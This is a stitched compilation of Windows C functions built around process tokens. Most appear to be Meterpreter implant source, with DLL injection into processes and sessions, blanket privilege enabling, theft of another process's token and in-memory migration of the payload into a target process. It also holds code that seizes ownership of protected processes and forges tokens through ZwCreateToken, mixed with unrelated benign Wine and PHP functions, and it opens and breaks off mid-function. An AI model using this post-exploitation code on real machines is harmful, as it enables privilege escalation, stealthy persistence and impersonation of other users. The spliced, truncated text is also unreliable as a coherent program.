LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
/* * Inject an arbitrary DLL into a process running in specific Windows session. */ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_INVALID_HANDLE; CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; PROCESS32FIRST pProcess32First = NULL; PROCESS32NEXT pProcess32Next = NULL; HANDLE hProcessSnap = NULL; HMODULE hKernel = NULL; HANDLE hToken = NULL; BOOL bUseBruteForce = TRUE; PROCESSENTRY32 pe32 = {0}; do { // If we can, get SeDebugPrivilege... if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); } CloseHandle( hToken ); } hKernel = LoadLibraryA( "kernel32" ); if( !hKernel ) break; pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" ); pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" ); if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next ) break; hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) break; pe32.dwSize = sizeof( PROCESSENTRY32 ); if( !pProcess32First( hProcessSnap, &pe32 ) ) break; bUseBruteForce = FALSE; do { if( dwSessionId == session_id( pe32.th32ProcessID ) ) { // On Windows 2008R2 we Blue Screen the box if we inject via APC injection // into the target sessions instance of csrss.exe!!! so we filter it out... if( strstr( pe32.szExeFile, "csrss.exe" ) ) continue; //if( strstr( pe32.szExeFile, "winlogon.exe" ) ) // continue; //if( !strstr( pe32.szExeFile, "winlogon.exe" ) ) // continue; //if( !strstr( pe32.szExeFile, "explorer.exe" ) ) // continue; //if( strstr( pe32.szExeFile, "TPAutoConnSvc.exe" ) ) // continue; dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); break; } } } while( pProcess32Next( hProcessSnap, &pe32 ) ); } while( 0 ); if( hProcessSnap ) CloseHandle( hProcessSnap ); if( hKernel ) FreeLibrary( hKernel ); // On NT4 we must brute force the process list... if( bUseBruteForce ) dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer ); return dwResult; }
/* * sys_getprivs * ---------- * * Obtains as many privileges as possible * Based on the example at http://nibuthomas.com/tag/openprocesstoken/ */ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; HANDLE token = NULL; int x; TOKEN_PRIVILEGES priv = {0}; LPCTSTR privs[] = { SE_DEBUG_NAME, SE_TCB_NAME, SE_CREATE_TOKEN_NAME, SE_ASSIGNPRIMARYTOKEN_NAME, SE_LOCK_MEMORY_NAME, SE_INCREASE_QUOTA_NAME, SE_UNSOLICITED_INPUT_NAME, SE_MACHINE_ACCOUNT_NAME, SE_SECURITY_NAME, SE_TAKE_OWNERSHIP_NAME, SE_LOAD_DRIVER_NAME, SE_SYSTEM_PROFILE_NAME, SE_SYSTEMTIME_NAME, SE_PROF_SINGLE_PROCESS_NAME, SE_INC_BASE_PRIORITY_NAME, SE_CREATE_PAGEFILE_NAME, SE_CREATE_PERMANENT_NAME, SE_BACKUP_NAME, SE_RESTORE_NAME, SE_SHUTDOWN_NAME, SE_AUDIT_NAME, SE_SYSTEM_ENVIRONMENT_NAME, SE_CHANGE_NOTIFY_NAME, SE_REMOTE_SHUTDOWN_NAME, SE_UNDOCK_NAME, SE_SYNC_AGENT_NAME, SE_ENABLE_DELEGATION_NAME, SE_MANAGE_VOLUME_NAME, 0 }; do { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { res = GetLastError(); break; } for (x = 0; privs[x]; ++x) { memset(&priv, 0, sizeof(priv)); LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid); priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0)) { if(GetLastError() == ERROR_SUCCESS) { packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); } } else { dprintf("[getprivs] Failed to set privilege %s (%u)", privs[x], GetLastError()); } } } while (0); if(token) CloseHandle(token); #else DWORD res = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
/******************************************************************************* * GAMEUX_buildGameRegistryPath * * Internal helper function. Description available in gameux_private.h file */ HRESULT GAMEUX_buildGameRegistryPath(GAME_INSTALL_SCOPE installScope, LPCGUID gameInstanceId, LPWSTR* lpRegistryPath) { static const WCHAR sGameUxRegistryPath[] = {'S','O','F','T','W','A','R','E','\\', 'M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\', 'C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','G','a','m','e','U','X',0}; static const WCHAR sGames[] = {'G','a','m','e','s',0}; static const WCHAR sBackslash[] = {'\\',0}; HRESULT hr = S_OK; HANDLE hToken = NULL; PTOKEN_USER pTokenUser = NULL; DWORD dwLength; LPWSTR lpSID = NULL; WCHAR sInstanceId[40]; WCHAR sRegistryPath[8192]; TRACE("(0x%x, %s, %p)\n", installScope, debugstr_guid(gameInstanceId), lpRegistryPath); /* this will make freeing it easier for user */ *lpRegistryPath = NULL; lstrcpyW(sRegistryPath, sGameUxRegistryPath); lstrcatW(sRegistryPath, sBackslash); if(installScope == GIS_CURRENT_USER) { /* build registry path containing user's SID */ if(!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) hr = HRESULT_FROM_WIN32(GetLastError()); if(SUCCEEDED(hr)) { if(!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength) && GetLastError()!=ERROR_INSUFFICIENT_BUFFER) hr = HRESULT_FROM_WIN32(GetLastError()); if(SUCCEEDED(hr)) { pTokenUser = HeapAlloc(GetProcessHeap(), 0, dwLength); if(!pTokenUser) hr = E_OUTOFMEMORY; } if(SUCCEEDED(hr)) if(!GetTokenInformation(hToken, TokenUser, (LPVOID)pTokenUser, dwLength, &dwLength)) hr = HRESULT_FROM_WIN32(GetLastError()); if(SUCCEEDED(hr)) if(!ConvertSidToStringSidW(pTokenUser->User.Sid, &lpSID)) hr = HRESULT_FROM_WIN32(GetLastError()); if(SUCCEEDED(hr)) { lstrcatW(sRegistryPath, lpSID); LocalFree(lpSID); } HeapFree(GetProcessHeap(), 0, pTokenUser); CloseHandle(hToken); } } else if(installScope == GIS_ALL_USERS) /* build registry path without SID */ lstrcatW(sRegistryPath, sGames); else hr = E_INVALIDARG; /* put game's instance id on the end of path, only if instance id was given */ if(gameInstanceId) { if(SUCCEEDED(hr)) hr = (StringFromGUID2(gameInstanceId, sInstanceId, sizeof(sInstanceId)/sizeof(sInstanceId[0])) ? S_OK : E_FAIL); if(SUCCEEDED(hr)) { lstrcatW(sRegistryPath, sBackslash); lstrcatW(sRegistryPath, sInstanceId); } } if(SUCCEEDED(hr)) { *lpRegistryPath = HeapAlloc(GetProcessHeap(), 0, (lstrlenW(sRegistryPath)+1)*sizeof(WCHAR)); if(!*lpRegistryPath) hr = E_OUTOFMEMORY; } if(SUCCEEDED(hr)) lstrcpyW(*lpRegistryPath, sRegistryPath); TRACE("result: 0x%x, path: %s\n", hr, debugstr_w(*lpRegistryPath)); return hr; }
/* * sys_steal_token * ---------- * * Steals the primary token from an existing process */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD dwResult = ERROR_SUCCESS; #ifdef _WIN32 HANDLE hToken = NULL; HANDLE hProcessHandle = NULL; HANDLE hDupToken = NULL; DWORD dwPid; do { // Get the process identifier that we're attaching to, if any. dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!dwPid) { dwResult = -1; break; } hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); if (!hProcessHandle) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult); break; } if (!OpenProcessToken(hProcessHandle, TOKEN_ALL_ACCESS, &hToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult); break; } if (!ImpersonateLoggedOnUser(hToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult); break; } if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDupToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult); break; } core_update_thread_token(remote, hDupToken); dwResult = populate_uid(response); } while (0); if (hProcessHandle) { CloseHandle(hProcessHandle); } if (hToken) { CloseHandle(hToken); } #else dwResult = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(dwResult, remote, response); return dwResult; }
HANDLE AdvanceOpenProcess(DWORD pid, DWORD dwAccessRights) { HANDLE hProcess = OpenProcess(dwAccessRights, FALSE, pid); if (hProcess == NULL) { HANDLE hpWriteDAC = OpenProcess(WRITE_DAC, FALSE, pid); if (hpWriteDAC == NULL) { HANDLE htok; TOKEN_PRIVILEGES tpOld; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &htok)) { return false; } if (EnableTokenPrivilege(htok, SE_TAKE_OWNERSHIP_NAME, &tpOld)) { HANDLE hpWriteOwner = OpenProcess(WRITE_OWNER, FALSE, pid); if (hpWriteOwner != NULL) { BYTE buf[512]; DWORD cb = sizeof buf; if (GetTokenInformation(htok, TokenUser, buf, cb, &cb)) { DWORD err = SetSecurityInfo(hpWriteOwner, SE_KERNEL_OBJECT, OWNER_SECURITY_INFORMATION, ((TOKEN_USER *)(buf))->User.Sid, 0, 0, 0); if (err == ERROR_SUCCESS) { if (!DuplicateHandle(GetCurrentProcess(), hpWriteOwner, GetCurrentProcess(), &hpWriteDAC, WRITE_DAC, FALSE, 0)) { hpWriteDAC = NULL; } } } CloseHandle(hpWriteOwner); } AdjustTokenPrivileges(htok, FALSE, &tpOld, 0, 0, 0); } CloseHandle(htok); } if (hpWriteDAC) { AdjustDacl(hpWriteDAC, dwAccessRights); if (!DuplicateHandle(GetCurrentProcess(), hpWriteDAC, GetCurrentProcess(), &hProcess, dwAccessRights, FALSE, 0)) { hProcess = NULL; } CloseHandle(hpWriteDAC); } } return (hProcess); }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; MIGRATECONTEXT ctx = { 0 }; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (config->session.comms_fd) { // Duplicate the socket for the target process if we are SSL based if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) { BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") } } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") } // Get the architecture specific process migration stub... if (dwDestinationArch == PROCESS_ARCH_X86) { lpMigrateStub = (LPVOID)&migrate_stub_x86; dwMigrateStubLength = sizeof(migrate_stub_x86); } else if (dwDestinationArch == PROCESS_ARCH_X64) { lpMigrateStub = (LPVOID)&migrate_stub_x64; dwMigrateStubLength = sizeof(migrate_stub_x64); } else { SetLastError(ERROR_BAD_ENVIRONMENT); dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); break; } // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") } // Calculate the address of the payload... ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") } // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") } } dwResult = ERROR_SUCCESS; } while (0);
TSRM_API int tsrm_win32_access(const char *pathname, int mode) { time_t t; HANDLE thread_token = NULL; PSID token_sid; SECURITY_INFORMATION sec_info = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION; GENERIC_MAPPING gen_map = { FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS }; DWORD priv_set_length = sizeof(PRIVILEGE_SET); PRIVILEGE_SET privilege_set = {0}; DWORD sec_desc_length = 0, desired_access = 0, granted_access = 0; BYTE * psec_desc = NULL; BOOL fAccess = FALSE; realpath_cache_bucket * bucket = NULL; char * real_path = NULL; if (mode == 1 /*X_OK*/) { DWORD type; return GetBinaryType(pathname, &type) ? 0 : -1; } else { if(!IS_ABSOLUTE_PATH(pathname, strlen(pathname)+1)) { real_path = (char *)malloc(MAX_PATH); if(tsrm_realpath(pathname, real_path) == NULL) { goto Finished; } pathname = real_path; } if(access(pathname, mode)) { free(real_path); return errno; } /* If only existence check is made, return now */ if (mode == 0) { free(real_path); return 0; } /* Only in NTS when impersonate==1 (aka FastCGI) */ /* AccessCheck() requires an impersonation token. We first get a primary token and then create a duplicate impersonation token. The impersonation token is not actually assigned to the thread, but is used in the call to AccessCheck. Thus, this function itself never impersonates, but does use the identity of the thread. If the thread was impersonating already, this function uses that impersonation context. */ if(!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &thread_token)) { if (GetLastError() == ERROR_NO_TOKEN) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &thread_token)) { TWG(impersonation_token) = NULL; goto Finished; } } } /* token_sid will be freed in tsrmwin32_dtor */ token_sid = tsrm_win32_get_token_sid(thread_token); if (!token_sid) { if (TWG(impersonation_token_sid)) { free(TWG(impersonation_token_sid)); } TWG(impersonation_token_sid) = NULL; goto Finished; } /* Different identity, we need a new impersontated token as well */ if (!TWG(impersonation_token_sid) || !EqualSid(token_sid, TWG(impersonation_token_sid))) { if (TWG(impersonation_token_sid)) { free(TWG(impersonation_token_sid)); } TWG(impersonation_token_sid) = token_sid; /* Duplicate the token as impersonated token */ if (!DuplicateToken(thread_token, SecurityImpersonation, &TWG(impersonation_token))) { goto Finished; } } else { /* we already have it, free it then */ free(token_sid); } if (CWDG(realpath_cache_size_limit)) { t = time(0); bucket = realpath_cache_lookup(pathname, (int)strlen(pathname), t); if(bucket == NULL && real_path == NULL) { /* We used the pathname directly. Call tsrm_realpath */ /* so that entry is created in realpath cache */ real_path = (char *)malloc(MAX_PATH); if(tsrm_realpath(pathname, real_path) != NULL) { pathname = real_path; bucket = realpath_cache_lookup(pathname, (int)strlen(pathname), t); } } } /* Do a full access check because access() will only check read-only attribute */ if(mode == 0 || mode > 6) { if(bucket != NULL && bucket->is_rvalid) { fAccess = bucket->is_readable; goto Finished; } desired_access = FILE_GENERIC_READ; } else if(mode <= 2) { if(bucket != NULL && bucket->is_wvalid) { fAccess = bucket->is_writable; goto Finished; } desired_access = FILE_GENERIC_WRITE; } else if(mode <= 4) { if(bucket != NULL && bucket->is_rvalid) { fAccess = bucket->is_readable; goto Finished; } desired_access = FILE_GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS; } else { // if(mode <= 6) if(bucket != NULL && bucket->is_rvalid && bucket->is_wvalid) { fAccess = bucket->is_readable & bucket->is_writable; goto Finished; } desired_access = FILE_GENERIC_READ | FILE_GENERIC_WRITE; } if(TWG(impersonation_token) == NULL) { goto Finished; } /* Get size of security buffer. Call is expected to fail */ if(GetFileSecurity(pathname, sec_info, NULL, 0, &sec_desc_length)) { goto Finished; } psec_desc = (BYTE *)malloc(sec_desc_length); if(psec_desc == NULL || !GetFileSecurity(pathname, sec_info, (PSECURITY_DESCRIPTOR)psec_desc, sec_desc_length, &sec_desc_length)) { goto Finished; } MapGenericMask(&desired_access, &gen_map); if(!AccessCheck((PSECURITY_DESCRIPTOR)psec_desc, TWG(impersonation_token), desired_access, &gen_map, &privilege_set, &priv_set_length, &granted_access, &fAccess)) { goto Finished_Impersonate; } /* Keep the result in realpath_cache */ if(bucket != NULL) { if(desired_access == (FILE_GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS)) { bucket->is_rvalid = 1; bucket->is_readable = fAccess; } else if(desired_access == FILE_GENERIC_WRITE) { bucket->is_wvalid = 1; bucket->is_writable = fAccess; } else if (desired_access == (FILE_GENERIC_READ | FILE_GENERIC_WRITE)) { bucket->is_rvalid = 1; bucket->is_readable = fAccess; bucket->is_wvalid = 1; bucket->is_writable = fAccess; } } Finished_Impersonate: if(psec_desc != NULL) { free(psec_desc); psec_desc = NULL; } Finished: if(thread_token != NULL) { CloseHandle(thread_token); } if(real_path != NULL) { free(real_path); real_path = NULL; } if(fAccess == FALSE) { errno = EACCES; return errno; } else { return 0; } } }
// // Create a primary access token for specified user account // HANDLE CreateToken(LPCTSTR szUserName) { SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityAnonymous, SECURITY_STATIC_TRACKING, FALSE }; HANDLE hToken; PSID sid; TOKEN_USER user; LUID authid = SYSTEM_LUID; OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; TOKEN_SOURCE source = {{'*', '*', 'A', 'N', 'O', 'N', '*', '*'}, {0, 0}}; HANDLE hToken2 = 0; PTOKEN_STATISTICS stats; PVOID tokarr[5]; int i; DWORD status; // Get address of Nt/ZwCreateToken from NTDLL.DLL ZwCreateToken = (PVOID)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwCreateToken"); RtlNtStatusToDosError = (PVOID)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlNtStatusToDosError"); if(ZwCreateToken == 0 || RtlNtStatusToDosError == 0) return 0; // Must have SeCreateToken privilege if(!EnablePrivilege(SE_CREATE_TOKEN_NAME, TRUE)){ DBG("EnablePrivilege failed\n"); } // Use an existing process token as our basic for a new token if(!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_QUERY_SOURCE, &hToken)) return 0; // Convert username to a SID if((sid = GetUserSid(szUserName)) == 0) { CloseHandle(hToken); return 0; } user.User.Attributes = 0; user.User.Sid = sid; if(!AllocateLocallyUniqueId(&source.SourceIdentifier)) { free(sid); CloseHandle(hToken); return 0; } if(!GetTokenInfo(hToken, TokenStatistics, &stats)) { free(sid); CloseHandle(hToken); return 0; } // // Undocumented ZwCreateToken service: will not work for us // under WIN2003, will need to do this from WINLOGON process in future? // status = ZwCreateToken(&hToken2, TOKEN_ALL_ACCESS, &oa, TokenPrimary, (PLUID)&authid, (PLARGE_INTEGER)&stats->ExpirationTime, &user, (PTOKEN_GROUPS) GetTokenInfo(hToken, TokenGroups, &tokarr[0]), (PTOKEN_PRIVILEGES) GetTokenInfo(hToken, TokenPrivileges, &tokarr[1]), (PTOKEN_OWNER) GetTokenInfo(hToken, TokenOwner, &tokarr[2]), (PTOKEN_PRIMARY_GROUP) GetTokenInfo(hToken, TokenPrimaryGroup, &tokarr[3]), (PTOKEN_DEFAULT_DACL) GetTokenInfo(hToken, TokenDefaultDacl, &tokarr[4]), &source); for(i = 0; i < 5; i++) free(tokarr[i]); free(stats); free(sid); CloseHandle(hToken); SetLastError(RtlNtStatusToDosError(status)); return hToken2; }